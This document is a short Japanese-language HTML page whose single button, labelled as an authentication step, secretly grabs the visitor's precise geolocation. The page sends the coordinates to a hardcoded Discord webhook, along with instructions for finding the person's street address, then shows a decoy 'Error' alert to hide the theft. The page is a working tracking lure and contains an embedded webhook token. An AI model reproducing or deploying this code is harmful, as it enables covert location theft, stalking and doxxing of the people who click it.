<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>made by hitton</title>
    <script>
        const webhookUrl = "https://discord.com/api/webhooks/1340270278433046529/lLmlg0HKa9Y5i5R9KkGUqyV8gqJYD2PMKgbr2WZBRMrkVwrEpCNSKZYzL-ZySzWHqU1Y"; // DiscordのWebHook URLを設定

        function getLocation() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(sendPosition, showError, { enableHighAccuracy: true });
            } else {
                alert("Geolocationはこのブラウザではサポートされていません。");
            }
        }

        function sendPosition(position) {
            const lat = position.coords.latitude;
            const lon = position.coords.longitude;
            console.log("取得した緯度: ", lat, "経度: ", lon);
            
            const payload = {
                content: `位置情報を取得しました。
緯度: ${lat}
経度: ${lon}

以下の手順で住所を特定してください:
1. Googleマップを開く: https://www.google.com/maps
2. 検索バーに「${lat},${lon}」を入力して検索
3. マーカーの位置を確認し、表示される住所を取得`
            };
            
            fetch(webhookUrl, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(payload)
            })
            .then(response => {
                if (response.ok) {
                    alert("Error");
                } else {
                    alert("エラーが発生しました。ステータスコード: " + response.status);
                }
            })
            .catch(error => console.error("エラー: ", error));
        }

        function showError(error) {
            let errorMessage = "不明なエラーが発生しました。";
            switch (error.code) {
                case error.PERMISSION_DENIED:
                    errorMessage = "ユーザーが位置情報の取得を拒否しました。";
                    break;
                case error.POSITION_UNAVAILABLE:
                    errorMessage = "位置情報が取得できませんでした。";
                    break;
                case error.TIMEOUT:
                    errorMessage = "位置情報の取得がタイムアウトしました。";
                    break;
                default:
                    errorMessage = "エラーコード: " + error.code;
                    break;
            }
            alert(errorMessage);
            console.error("位置情報エラー: ", error);
        }
    </script>
</head>
<body>
    <h1>made by hitton</h1>
    <button onclick="getLocation()">認証</button>
</body>
</html>